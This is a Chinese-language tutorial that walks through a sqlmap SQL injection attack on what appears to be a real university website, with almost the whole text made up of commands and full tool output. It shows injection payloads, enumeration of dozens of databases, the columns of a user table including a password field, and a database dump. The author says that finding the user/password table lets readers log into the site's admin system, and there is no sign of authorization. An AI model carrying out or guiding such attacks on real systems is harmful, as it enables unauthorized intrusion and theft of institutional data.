SQL注入是啥就不解释了。下面演示一个SQL注入的例子

SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找,这里用大名鼎鼎的sqlmap演示一个现成的案例。

1.漏洞试探

  1. root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87
  2.  
  3. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  4. http://sqlmap.org
  5.  
  6. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  7.  
  8. [*] starting at ::
  9.  
  10. [::] [INFO] resuming back-end DBMS 'microsoft sql server'
  11. [::] [INFO] testing connection to the target URL
  12. sqlmap identified the following injection points with a total of HTTP(s) requests:
  13. ---
  14. Place: GET
  15. Parameter: id
  16. Type: boolean-based blind
  17. Title: AND boolean-based blind - WHERE or HAVING clause
  18. Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc
  19.  
  20. Type: stacked queries
  21. Title: Microsoft SQL Server/Sybase stacked queries
  22. Payload: id='; WAITFOR DELAY '::'--
  23.  
  24. Type: AND/OR time-based blind
  25. Title: Microsoft SQL Server/Sybase time-based blind
  26. Payload: id=' WAITFOR DELAY '::'--
  27. ---
  28. [::] [INFO] the back-end DBMS is Microsoft SQL Server
  29. web server operating system: Windows or XP
  30. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  31. back-end DBMS: Microsoft SQL Server
  32. [::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'
  33.  
  34. [*] shutting down at ::

可以看到这个站点是有SQL注入点的,连系统/应用/sql类型都爆出来了。接下来我们来探索一下这个数据库里有些什么。

2.查看数据库

  1. root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 --dbs
  2.  
  3. ...
  4. sqlmap identified the following injection points with a total of HTTP(s) requests:
  5. ---
  6. Place: GET
  7. Parameter: id
  8. Type: boolean-based blind
  9. Title: AND boolean-based blind - WHERE or HAVING clause
  10. Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc
  11.  
  12. Type: stacked queries
  13. Title: Microsoft SQL Server/Sybase stacked queries
  14. Payload: id='; WAITFOR DELAY '::'--
  15.  
  16. Type: AND/OR time-based blind
  17. Title: Microsoft SQL Server/Sybase time-based blind
  18. Payload: id=' WAITFOR DELAY '::'--
  19. ---
  20. [::] [INFO] the back-end DBMS is Microsoft SQL Server
  21. web server operating system: Windows or XP
  22. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  23. back-end DBMS: Microsoft SQL Server
  24. [::] [INFO] fetching database names
  25. [::] [INFO] fetching number of databases
  26. [::] [INFO] resumed:
  27. [::] [INFO] resumed: BZBB_lw
  28. [::] [INFO] resumed: ChualgXinNS
  29. [::] [INFO] resumed: db_dike
  30. [::] [INFO] resumed: db_dndqjzw
  31. [::] [INFO] resumed: db_njsdjw
  32. [::] [INFO] resumed: db_njsfsy
  33. [::] [INFO] resumed: db_nsddlhj
  34. [::] [INFO] resumed: db_nsdhgxn
  35. [::] [INFO] resumed: db_nsdmba
  36. [::] [INFO] resumed: db_nsdMediaC
  37. [::] [INFO] resumed: db_nsdscw
  38. [::] [INFO] resumed: db_nsdsw
  39. [::] [INFO] resumed: db_nsdswyy
  40. [::] [INFO] resumed: db_nsdswzy
  41. [::] [INFO] resumed: db_nyspjc
  42. [::] [INFO] resumed: db_sdjxjy
  43. [::] [INFO] resumed: db_spaqjc
  44. [::] [INFO] resumed: JiaoCai
  45. [::] [INFO] resumed: maste@
  46. [::] [INFO] resumed: MBA
  47. [::] [INFO] resumed: model
  48. [::] [INFO] resumed: msdb
  49. [::] [INFO] resumed: njnulab
  50. [::] [INFO] resumed: njnupj
  51. [::] [INFO] resumed: nju
  52. [::] [INFO] resumed: nju2222
  53. [::] [INFO] resumed: njuold
  54. [::] [INFO] resumed: njupj2012
  55. [::] [INFO] resumed: Northwind
  56. [::] [INFO] resumed: NSD_ApplicationChemical
  57. [::] [INFO] resumed: NSD_Cnooc
  58. [::] [INFO] resumed: NSD_ElectricalEngineering
  59. [::] [INFO] resumed: NSD_ElectronicInformation
  60. [::] [INFO] resumed: NSD_TeacherSkills
  61. [::] [INFO] resumed: NSD_TeachingTeam
  62. [::] [INFO] resumed: nsddky_sy
  63. [::] [INFO] resumed: nsdsfjdzx
  64. [::] [INFO] resumed: nsdsfjdzxnew
  65. [::] [INFO] resumed: nsglxt
  66. [::] [INFO] resumed: NSHuaKe
  67. [::] [INFO] resumed: NSXinLiXue
  68. [::] [INFO] resumed: NY_JG
  69. [::] [INFO] resumed: pubs
  70. [::] [INFO] resumed: ShangXueYuannew
  71. [::] [INFO] resumed: tempdb
  72. [::] [INFO] resumed: zhongxin
  73. [::] [INFO] resumed: zhongxinold
  74. available databases []:
  75. [*] BZBB_lw
  76. [*] ChualgXinNS
  77. [*] db_dike
  78. [*] db_dndqjzw
  79. [*] db_njsdjw
  80. [*] db_njsfsy
  81. [*] db_nsddlhj
  82. [*] db_nsdhgxn
  83. [*] db_nsdmba
  84. [*] db_nsdMediaC
  85. [*] db_nsdscw
  86. [*] db_nsdsw
  87. [*] db_nsdswyy
  88. [*] db_nsdswzy
  89. [*] db_nyspjc
  90. [*] db_sdjxjy
  91. [*] db_spaqjc
  92. [*] JiaoCai
  93. [*] maste@
  94. [*] MBA
  95. [*] model
  96. [*] msdb
  97. [*] njnulab
  98. [*] njnupj
  99. [*] nju
  100. [*] nju2222
  101. [*] njuold
  102. [*] njupj2012
  103. [*] Northwind
  104. [*] NSD_ApplicationChemical
  105. [*] NSD_Cnooc
  106. [*] NSD_ElectricalEngineering
  107. [*] NSD_ElectronicInformation
  108. [*] NSD_TeacherSkills
  109. [*] NSD_TeachingTeam
  110. [*] nsddky_sy
  111. [*] nsdsfjdzx
  112. [*] nsdsfjdzxnew
  113. [*] nsglxt
  114. [*] NSHuaKe
  115. [*] NSXinLiXue
  116. [*] NY_JG
  117. [*] pubs
  118. [*] ShangXueYuannew
  119. [*] tempdb
  120. [*] zhongxin
  121. [*] zhongxinold
  122.  
  123. [::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'
  124.  
  125. [*] shutting down at ::

3.省略部分日志,可以看到所有的数据库都已经找到了,接下来可以查看具体的表。

  1. root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D JiaoCai --tables --threads 5
  2.  
  3. ...
  4.  
  5. [::] [INFO] resuming back-end DBMS 'microsoft sql server'
  6. [::] [INFO] testing connection to the target URL
  7. sqlmap identified the following injection points with a total of HTTP(s) requests:
  8. ---
  9. Place: GET
  10. Parameter: id
  11. Type: boolean-based blind
  12. Title: AND boolean-based blind - WHERE or HAVING clause
  13. Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc
  14.  
  15. Type: stacked queries
  16. Title: Microsoft SQL Server/Sybase stacked queries
  17. Payload: id='; WAITFOR DELAY '::'--
  18.  
  19. Type: AND/OR time-based blind
  20. Title: Microsoft SQL Server/Sybase time-based blind
  21. Payload: id=' WAITFOR DELAY '::'--
  22. ---
  23. [::] [INFO] the back-end DBMS is Microsoft SQL Server
  24. web server operating system: Windows or XP
  25. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  26. back-end DBMS: Microsoft SQL Server
  27. [::] [INFO] fetching tables for database: JiaoCai
  28. [::] [INFO] fetching number of tables for database 'JiaoCai'
  29. [::] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
  30. [::] [INFO] retrieved:
  31. [::] [WARNING] reflective value(s) found and filtering out
  32.  
  33. [::] [INFO] retrieved: dbo.dtproperties
  34. [::] [INFO] retrieved: dbo.sysconstraints
  35. [::] [INFO] retrieved: dbo.syssegments
  36. [::] [INFO] retrieved: dbo.T_BuildYxJc
  37. [::] [INFO] retrieved: dbo.T_BuildZdJc
  38. [::] [INFO] retrieved: dbo.T_CanYu
  39. [::] [INFO] retrieved: dbo.T_EndDate
  40. [::] [INFO] retrieved: dbo.T_G_BuildYxJc
  41. [::] [INFO] retrieved: dbo.T_G_Bu
  42. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  43. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  44. ildZdJc
  45. [::] [INFO] retrieved: dbo.T_G_Ca
  46. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  47. nYu
  48. [::] [INFO] retrieved: dbo.T_G_EndDate
  49. [::] [INFO] retrieved: dbo.T_G_JiaoCai
  50. [::] [INFO] retrieved: dbo.T_G_News
  51. [::] [INFO] retrieved: dbo.T_G_User
  52. [::] [INFO] retrieved: dbo.T_G_XueYuan
  53. [::] [INFO] retrieved: dbo.T_G_ZhuanYe
  54. [::] [INFO] retrieved: dbo.T_G_ZyToJc
  55. [::] [INFO] retrieved: dbo.T_JiaoCai
  56. [::] [INFO] retrieved: dbo.T_News
  57. [::] [INFO] retrieved: dbo.T_U
  58. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  59. ser
  60. [::] [INFO] retrieved: dbo.T_XueYuan
  61. [::] [INFO] retrieved: dbo.T_ZhuanYe
  62. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  63.  
  64. [::] [INFO] retrieved: dbo.T_ZyToJc
  65. Database: JiaoCai
  66. [ tables]
  67. +----------------+
  68. | T_BuildYxJc |
  69. | T_BuildZdJc |
  70. | T_CanYu |
  71. | T_EndDate |
  72. | T_G_BuildYxJc |
  73. | T_G_BuildZdJc |
  74. | T_G_CanYu |
  75. | T_G_EndDate |
  76. | T_G_JiaoCai |
  77. | T_G_News |
  78. | T_G_User |
  79. | T_G_XueYuan |
  80. | T_G_ZhuanYe |
  81. | T_G_ZyToJc |
  82. | T_JiaoCai |
  83. | T_News |
  84. | T_User |
  85. | T_XueYuan |
  86. | T_ZhuanYe |
  87. | T_ZyToJc |
  88. | dtproperties |
  89. | sysconstraints |
  90. | syssegments |
  91. +----------------+
  92.  
  93. [::] [WARNING] HTTP error codes detected during run:
  94. (Internal Server Error) - times
  95. [::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'
  96.  
  97. [*] shutting down at ::

4.找到自己想要的表,如果你找到了存放user和passwd的表,那么你就可以后台登录他们的管理系统了。

  1. root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew -T T_User --columns --threads 5
  2.  
  3. ...
  4. HTTP(s) requests:
  5. ---
  6. Place: GET
  7. Parameter: id
  8. Type: boolean-based blind
  9. Title: AND boolean-based blind - WHERE or HAVING clause
  10. Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc
  11.  
  12. Type: stacked queries
  13. Title: Microsoft SQL Server/Sybase stacked queries
  14. Payload: id='; WAITFOR DELAY '::'--
  15.  
  16. Type: AND/OR time-based blind
  17. Title: Microsoft SQL Server/Sybase time-based blind
  18. Payload: id=' WAITFOR DELAY '::'--
  19. ---
  20. [::] [INFO] the back-end DBMS is Microsoft SQL Server
  21. web server operating system: Windows or XP
  22. web application technology: ASP.NET, Microsoft IIS 6.0, ASP
  23. back-end DBMS: Microsoft SQL Server
  24. [::] [INFO] fetching columns for table 'T_User' in database 'ShangXueYuannew'
  25. [::] [INFO] retrieved:
  26. [::] [WARNING] reflective value(s) found and filtering out
  27.  
  28. [::] [INFO] retrieving the length of query output
  29. [::] [INFO] retrieved:
  30. [::] [INFO] retrieved: FileTheme
  31. [::] [INFO] retrieving the length of query output
  32. [::] [INFO] retrieved:
  33. [::] [INFO] retrieved: varchar
  34. [::] [INFO] retrieving the length of query output
  35. [::] [INFO] retrieved:
  36. [::] [INFO] retrieved: Pwd
  37. [::] [INFO] retrieving the length of query output
  38. [::] [INFO] retrieved:
  39. [::] [INFO] retrieved: varchar
  40. [::] [INFO] retrieving the length of query output
  41. [::] [INFO] retrieved:
  42. [::] [INFO] retrieved: Role
  43. [::] [INFO] retrieving the length of query output
  44. [::] [INFO] retrieved:
  45. [::] [INFO] retrieved: varchar
  46. [::] [INFO] retrieving the length of query output
  47. [::] [INFO] retrieved:
  48. [::] [INFO] retrieved: UserFile
  49. [::] [INFO] retrieving the length of query output
  50. [::] [INFO] retrieved:
  51. [::] [INFO] retrieved: varchar
  52. [::] [INFO] retrieving the length of query output
  53. [::] [INFO] retrieved:
  54. [::] [INFO] retrieved: UserId
  55. [::] [INFO] retrieving the length of query output
  56. [::] [INFO] retrieved:
  57. [::] [INFO] retrieved: varcha_ / (%)
  58. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  59. [::] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
  60. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  61. [::] [INFO] retrieved: varchar
  62. [::] [INFO] retrieving the length of query output
  63. [::] [INFO] retrieved:
  64. [::] [INFO] retrieved: UserName
  65. [::] [INFO] retrieving the length of query output
  66. [::] [INFO] retrieved:
  67. [::] [INFO] retrieved: va_cha_ / (%)
  68. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  69. [::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
  70. [::] [INFO] retrieved: varchar
  71. [::] [INFO] retrieving the length of query output
  72. [::] [INFO] retrieved:
  73. [::] [INFO] retrieved: UserNo
  74. [::] [INFO] retrieving the length of query output
  75. [::] [INFO] retrieved:
  76. [::] [INFO] retrieved: int
  77. Database: ShangXueYuannew
  78. Table: T_User
  79. [ columns]
  80. +-----------+---------+
  81. | Column | Type |
  82. +-----------+---------+
  83. | FileTheme | varchar |
  84. | Pwd | varchar |
  85. | Role | varchar |
  86. | UserFile | varchar |
  87. | UserId | varchar |
  88. | UserName | varchar |
  89. | UserNo | int |
  90. +-----------+---------+
  91.  
  92. [::] [WARNING] HTTP error codes detected during run:
  93. (Internal Server Error) - times
  94. [::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'
  95.  
  96. [*] shutting down at ::

5.甚至你可以把想要的数据库下载下来,在本地慢慢研究

  1. root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew --dump --threads 5

时间相当长,完了后就能看到SQL的具体内容了。

  1. Database: ShangXueYuannew
  2. Table: T_Acceptance
  3. [ entries]
  4. +-----+-----+------------+------------+------------+------------+---------------------------+--------+
  5. | aId | aNo | aRar | aPdf | aWord | aFlash | aTitle | aState |
  6. +-----+-----+------------+------------+------------+------------+---------------------------+--------+
  7. | NULL | | .rar | NULL | NULL | NULL | NULL | - |
  8. | | | NULL | .pdf | .doc | .swf | 江苏省高等学校实验教学示范中心2011年验收申请表 | - |
  9. | | | NULL | .pdf | .doc | .swf | 江苏省高等学校基础课实验教学示范中心立项申报表 | - |
  10. | | | NULL | .pdf | .doc | .swf | 支撑材料之一:经济管理教学实验中心整体介绍 | - |
  11. | | | NULL | .pdf | .doc | .swf | 支撑材料之二:实验室相关政策措施及规章制度 | - |
  12. | | | NULL | .pdf | .doc | .swf | 支撑材料之三:课程实验教学计划及实验项目 | - |
  13. | | | NULL | .pdf | .doc | .swf | 支撑材料之四:典型自编课程实验讲义 | - |
  14. | | | NULL | .pdf | .doc | .swf | 支撑材料之五:典型多媒体课件简介 | - |
  15. | | | NULL | .pdf | .doc | .swf | 支撑材料之߸ߢ经济ߢ理教学实验中心建设成果 | - |
  16. | NULL | | .rar | NULL | NULL | NULL | NULL | - |
  17. +-----+-----+------------+------------+------------+------------+---------------------------+--------+

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